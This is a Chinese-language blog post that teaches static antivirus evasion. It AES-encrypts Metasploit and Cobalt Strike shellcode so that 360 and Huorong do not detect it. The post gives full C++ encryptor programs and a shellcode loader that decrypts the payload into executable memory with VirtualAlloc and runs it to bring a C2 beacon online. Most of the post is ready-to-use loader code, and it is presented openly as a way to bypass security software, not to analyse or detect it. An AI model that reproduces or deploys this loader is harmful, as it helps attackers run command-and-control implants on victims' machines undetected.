静态免杀-AES加密

shellcode aes 加密

写在前面

针对国内主流的杀毒,360、火绒静态对默认的shellcode的检测是非常敏感的,这里推荐使用aes加密来对shellcode进行加密达到静态规避的效果

1、aes 定义

贴了个链接,想要更深的了解可以自行检索一下

简述AES加密算法

2、推荐项目

https://github.com/xf555er/ShellcodeEncryption

https://github.com/SergeyBel/AES

https://github.com/kokke/tiny-AES-c

https://github.com/WaterJuice/WjCryptLib

https://github.com/mygityf/cipher

3、实践

https://github.com/kokke/tiny-AES-c

以https://github.com/kokke/tiny-AES-c 为例演示一下项目的使用

首先咱们打开项目

VS创建空项目

这里是需要用的文件

添加头文件

aes.h

aes.hpp

源文件

aes.c

把对应的代码放进去即可

如图所示即可

这个库默认使用 AES128 的,我们可以修改aes.h,让其使用 AES256

现在已经完成设置了

接下来就是加密、解密上线的脚本了。

这里需要注意 key 和iv 的位数

unsigned char key[] = "16的倍数位的key";
unsigned char iv[] = "16位的偏移量";

msf 加密cpp

msf_encrypt.cpp

#define _CRT_SECURE_NO_DEPRECATE
#include "Windows.h"
#include "stdio.h"
#include "aes.hpp"

int main(int argc, char* argv[])
{
    unsigned char buf[] = "msf生成的shellcode";

    SIZE_T bufSize = sizeof(buf);

    unsigned char key[] = "testbyironmanhhhhhhhhhhhhhhhhhh";
    unsigned char iv[] = "\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01";

    struct AES_ctx ctx;
    AES_init_ctx_iv(&ctx, key, iv);
    AES_CBC_encrypt_buffer(&ctx, buf, bufSize);

    printf("Encrypted buffer:\n");

    printf("unsigned char buf[] =\n");
    int count = 0;
    for (int i = 0; i < bufSize - 1; i++) {
        if (count == 0) {
            printf("\"");
        }
        printf("\\x%02x", buf[i]);
        count++;
        if (count == 15) {
            printf("\"\n");
            count = 0;
        }
    }
    printf("\";\n");
    system("pause");
    return 0;
}

cs加密cpp

cs_encrypt.cpp

#define _CRT_SECURE_NO_DEPRECATE
#include "Windows.h"
#include "stdio.h"
#include "aes.hpp"

int main(int argc, char* argv[])
{
    unsigned char buf[] = "cs生成的shellcode";

    SIZE_T bufSize = sizeof(buf);

    unsigned char key[] = "testbyironmanhhhhhhhhhhhhhhhhhh";
    unsigned char iv[] = "\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01";
    struct AES_ctx ctx;
    AES_init_ctx_iv(&ctx, key, iv);
    AES_CBC_encrypt_buffer(&ctx, buf, bufSize);
		//到这里shellcode 已经完成解密,可以通过buf[i]直接遍历拿数据了

    for (int i = 0; i < bufSize - 1; i++) {
        printf("\\x%02x", buf[i]);
    }
    system("pause");
    return 0;
}

AES 加密后的shellcode

解密上线cpp

这里在无杀软的情况下直接loader启动,就不考虑api调用之类的因素了,这里演示上线。后续可以自己再发挥~

cs_decrypt.cpp

#define _CRT_SECURE_NO_DEPRECATE
#include "Windows.h"
#include "stdio.h"
#include "aes.hpp"

int main(int argc, char* argv[])
{
    unsigned char buf[] ="aes解密后的shellcode";

    HANDLE processHandle;
    HANDLE remoteThread;
    PVOID remoteBuffer;
    // 解密shellcode
    SIZE_T bufSize = sizeof(buf);

    unsigned char key[] = "testbyironmanhhhhhhhhhhhhhhhhhh";
    unsigned char iv[] = "\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01";

    struct AES_ctx ctx;
    AES_init_ctx_iv(&ctx, key, iv);
    AES_CBC_decrypt_buffer(&ctx, buf, bufSize);
		//同样到这里已经完成解密了

    LPVOID Memory = [**VirtualAlloc**](https://learn.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)(NULL, sizeof(buf),MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (Memory == NULL) { return 0; }
    [**memcpy**](https://www.runoob.com/cprogramming/c-function-memcpy.html)(Memory, buf, sizeof(buf));
    ((void(*)())Memory)();
}

4、参考文章

实现免杀:Shellcode的AES和XOR加密策略(vt查杀率:4/70)_免杀加密-CSDN博客

奇安信攻防社区-免杀笔记之 aes 加 lazy_importer 加 shellcode 分离

posted @ 2024-06-17 22:43  Adfind  阅读(274)  评论(0)    收藏  举报